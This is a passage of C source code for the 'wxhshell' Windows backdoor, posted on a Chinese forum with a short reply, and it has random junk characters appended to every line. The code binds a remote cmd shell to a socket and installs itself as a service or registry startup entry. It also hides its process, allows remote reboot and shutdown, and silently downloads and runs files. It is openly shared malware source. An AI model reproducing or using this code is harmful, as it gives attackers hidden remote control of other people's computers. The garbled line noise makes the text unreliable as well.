  if(DownloadFile(cmd,wsh)) tqvN0vY5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a}BYov  
  else 6ryak!|[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mPtZO*Fc  
  } EyD=q! ZVZ  
  else { q77;ZPfs8  
jk; clwyz/  
    switch(cmd[0]) { Pmr5S4Ka  
  6S'yZQ |b  
  // 帮助 8>2.UrC  
  case '?': { j9x<Y]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fcRxp{*zO  
    break; 'RQ+g}|Ba!  
  } 7a =gH2]&  
  // 安装 L%*!`TN  
  case 'i': { hYT0l$Ng  
    if(Install()) * J7DY f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L O_k@3  
    else SO|NaqWa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QuF:p  
    break; hLd^ agX  
    } TluW-S  
  // 卸载 zUkgG61  
  case 'r': { dUeN*Nq&(,  
    if(Uninstall()) )BZ.Sv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R[h9"0Y^  
    else g|DF[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q1$N>;&  
    break; U3ADsdn  
    } Cx(>RXVoJ,  
  // 显示 wxhshell 所在路径 Fh?gNSWq6  
  case 'p': { ??-[eB.  
    char svExeFile[MAX_PATH]; W+aP}rZm:  
    strcpy(svExeFile,"\n\r"); <y2U3; t  
      strcat(svExeFile,ExeFile); (^8Y|:Tz  
        send(wsh,svExeFile,strlen(svExeFile),0); ~drS} V  
    break; P_dCR  
    } Xk~D$~4<  
  // 重启 Gv!2f  
  case 'b': { ~NrG` D}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EnKR%Ctw  
    if(Boot(REBOOT)) 'NXN& {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?/wm(uL  
    else { )0.kv2o.  
    closesocket(wsh); T6y\|  
    ExitThread(0); 'Vzp2  
    } EA@ .,7F  
    break; i^X]j  
    } xBThq?N?  
  // 关机 zsEc(  
  case 'd': { 9|^2",V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >a!/QMh  
    if(Boot(SHUTDOWN)) )#0O>F~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Eyt17_H"n  
    else { ^b4 9  
    closesocket(wsh); )Ys x}vSZ  
    ExitThread(0); vjbASFF0=  
    } /wQy17g  
    break; ,uSMQS-O'4  
    } 9Z@hPX3.  
  // 获取shell GvtG(u~  
  case 's': { KB3Htw%W[+  
    CmdShell(wsh); :T ^a&)aL%  
    closesocket(wsh); |IeTqEu9  
    ExitThread(0); 7Kr*P<-G  
    break; {g'(~ qv  
  } c?(4t67|  
  // 退出 vONasD9At  
  case 'x': { p,EQ#Ik  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9%o 32eo,3  
    CloseIt(wsh); +xh`Q=A  
    break; L4@K~8j7  
    } B?eCe}*f;B  
  // 离开 zq 3\}9  
  case 'q': { !j8FIY'[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B+|Kjlt  
    closesocket(wsh); DTX0  
    WSACleanup(); DzAg"6=CS  
    exit(1); yJ[0WY8<kC  
    break; QGMV}y  
        } JinUV6cr  
  } \0^Kram>  
  } $P >  
A6  
  // 提示信息 E+j/ Cu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !4ocZmj\  
} KaLzg5is  
  } Z\(q@3C  
-vAC"8)S  
  return; AmUr.ofu  
} rX U  
[$ubNk;!z  
// shell模块句柄 lB8-Z ow  
int CmdShell(SOCKET sock) lne|5{h  
{ BwN0!lsF3  
STARTUPINFO si; Eh)fnqs_d}  
ZeroMemory(&si,sizeof(si)); \ ,'m</o~,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oz75V|D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H9Gh>u]}  
PROCESS_INFORMATION ProcessInfo; RF?`vRZOe  
char cmdline[]="cmd"; D5gFXEeh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O0*p0J  
  return 0; F;Spi  
} `_6C {<O  
H-!,yte  
// 自身启动模式 8 v6(qBK  
int StartFromService(void) 6lZ3tdyNo  
{ v1#otrf  
typedef struct (fhb0i-  
{ 4V"E8rUL(  
  DWORD ExitStatus; CmWeY$Jb  
  DWORD PebBaseAddress; j}#w )M  
  DWORD AffinityMask; [DYQ"A= )d  
  DWORD BasePriority; ]E{NNHK%2N  
  ULONG UniqueProcessId; _kC-dEGf!y  
  ULONG InheritedFromUniqueProcessId; i9:C4',sw0  
}   PROCESS_BASIC_INFORMATION; !K#qeY}  
a)!o @  
PROCNTQSIP NtQueryInformationProcess; DVO.FTV^`  
HRpte=`q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $o!zUH~'v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p0]=QH  
mwO6g~@ `  
  HANDLE             hProcess; ^23~ZHu  
  PROCESS_BASIC_INFORMATION pbi; m%0p\Y-/  
I<DL=V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ynp8r f  
  if(NULL == hInst ) return 0; `T1  
JT~4mT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HGl|-nW>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xnjf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U%-A?5  
g9OY<w5s]  
  if (!NtQueryInformationProcess) return 0; BqEI(c 6  
r[e##M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (xycJ`N  
  if(!hProcess) return 0; ?C]vS_jAh  
>:SHV W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PhLn8jNti  
OU E (I3_  
  CloseHandle(hProcess); REQ\>UO_  
iG $!6;w<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XMZ,Y7  
if(hProcess==NULL) return 0; {.`vs;U  
@?ebuj5{e  
HMODULE hMod; ~"gA,e-)  
char procName[255]; JhYe6y[q  
unsigned long cbNeeded; .C%<P"=J4h  
D#aDv0b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b\f O8{k  
#x@$ lc=k3  
  CloseHandle(hProcess); eNh39er  
^+ml5m  
if(strstr(procName,"services")) return 1; // 以服务启动 t6rRU~;}  
KA5v+~  
  return 0; // 注册表启动 m5n #v  
} qyb?49I  
t[HE6ea  
// 主模块 XE RUo  
int StartWxhshell(LPSTR lpCmdLine) 50h! X9  
{ 3F"lXguS  
  SOCKET wsl; v@sIHb  
BOOL val=TRUE; qfF~D0}  
  int port=0; D'>_I.  
  struct sockaddr_in door; kb%;=t2  
A.F%Ycq  
  if(wscfg.ws_autoins) Install(); IuDS*/Sx  
?Rb9|`6  
port=atoi(lpCmdLine); P.se'z)E  
|o"?gB}Dh  
if(port<=0) port=wscfg.ws_port; goNG' o %|  
%jJG>T  
  WSADATA data; s3N'02G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _{ue8kGt  
,O5NLg-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~i= _J3'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I@\lN&HC  
  door.sin_family = AF_INET; BkAm/R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pp?D7S  
  door.sin_port = htons(port); m[osg< CR_  
@ )F)S 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eSn+B;  
closesocket(wsl); Vsr.=Nd=  
return 1; 1NFsb-<u  
} J6"9v;V  
-]Bq|qTH[(  
  if(listen(wsl,2) == INVALID_SOCKET) { >tS'Q`R  
closesocket(wsl); d7^}tM  
return 1; b#c:u2  
} &N9 a<w8+  
  Wxhshell(wsl); Yu/ID!`Z  
  WSACleanup(); krxo"WgD  
OG~gFZr)6  
return 0; n)/z0n!\  
ZmqKQO  
} QpH'PYy  
-/B+T>[nTb  
// 以NT服务方式启动 >gQ>1Bwvi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uh_RGM&  
{ *tFHM &a  
DWORD   status = 0; "s-"<&>a(  
  DWORD   specificError = 0xfffffff; a~`eQ_N D  
k8yEdi`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Eh`7X=Z7E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ufj`euY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m,28u3@r  
  serviceStatus.dwWin32ExitCode     = 0; ;]puq  
  serviceStatus.dwServiceSpecificExitCode = 0; _RYxD"m y  
  serviceStatus.dwCheckPoint       = 0; ;LfXi 8)  
  serviceStatus.dwWaitHint       = 0; %Qgw7p4  
hW' )Sp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h8j.(  
  if (hServiceStatusHandle==0) return; B4/>H|  
e4$H&'b|  
status = GetLastError(); jdP2Pf^^  
  if (status!=NO_ERROR) @ y.?:7I  
{ >{ ]%F*p4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G5_=H,Vmd  
    serviceStatus.dwCheckPoint       = 0; umfD>" ^I  
    serviceStatus.dwWaitHint       = 0; ~D+bh~  
    serviceStatus.dwWin32ExitCode     = status; # +>oZWVc  
    serviceStatus.dwServiceSpecificExitCode = specificError; ldcqe$7,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68|E9^`l  
    return; iU918!!N   
  } LP^$AAy  
z kP_6T09  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f5"k55}  
  serviceStatus.dwCheckPoint       = 0; )}R0Y=e  
  serviceStatus.dwWaitHint       = 0;  ~NgA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ib!RD/  
} + J{IRyBc  
unzr0x {  
// 处理NT服务事件,比如:启动、停止 `7Q<'oK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V-P#1Kkh  
{ ;;Y! ^^g  
switch(fdwControl) pX<`+t[  
{ atH*5X6d  
case SERVICE_CONTROL_STOP: 7"D", 1h  
  serviceStatus.dwWin32ExitCode = 0; 2|y"!JqE1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +/7?HGf  
  serviceStatus.dwCheckPoint   = 0; SR hiQ  
  serviceStatus.dwWaitHint     = 0; yzn%<H~  
  { 6wRd<]C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UgRiIQMq.  
  } wu6;.xTLl  
  return; Paq4  
case SERVICE_CONTROL_PAUSE: $Wol?)z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `hm-.@f,9  
  break; ?<,l3pwqa  
case SERVICE_CONTROL_CONTINUE: A2FYBM`Q&D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qwcD`HV,  
  break; \K{ z  
case SERVICE_CONTROL_INTERROGATE: ]c*4J\s  
  break; qZh/IW  
}; =*.~BG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3m/(jdO  
} -ad{tJV|  
:kV#y  
// 标准应用程序主函数 }#+^{P3;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }&D WaO]J7  
{ {WS;dX4  
klYX7?  
// 获取操作系统版本 Dpac^ST  
OsIsNt=GetOsVer(); <dNOd0e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3`?7 <YJ  
T<>,lQs(a  
  // 从命令行安装 E=Bf1/c\  
  if(strpbrk(lpCmdLine,"iI")) Install(); Oszj$C(jF  
:,7hWs  
  // 下载执行文件 ttQGoUkj  
if(wscfg.ws_downexe) { {fM'6;ak  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~=LE0.3[  
  WinExec(wscfg.ws_filenam,SW_HIDE); W i.& e  
} VGN5<?PrN  
!|uWH  
if(!OsIsNt) { `RW HN/U  
// 如果时win9x,隐藏进程并且设置为注册表启动 Uc>lGo1j  
HideProc(); Z\rwO>3  
StartWxhshell(lpCmdLine); 4"ZP 'I;  
} nFCC St$  
else a-tmq]]E  
  if(StartFromService()) @1j   
  // 以服务方式启动 QIEJ6`  
  StartServiceCtrlDispatcher(DispatchTable); #X$\&,Yn"  
else W@IQ^ }E  
  // 普通方式启动 ,qwuLBW  
  StartWxhshell(lpCmdLine); Dy&i&5E.-l  
=svN#q5s  
return 0; q<<v,ihh  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八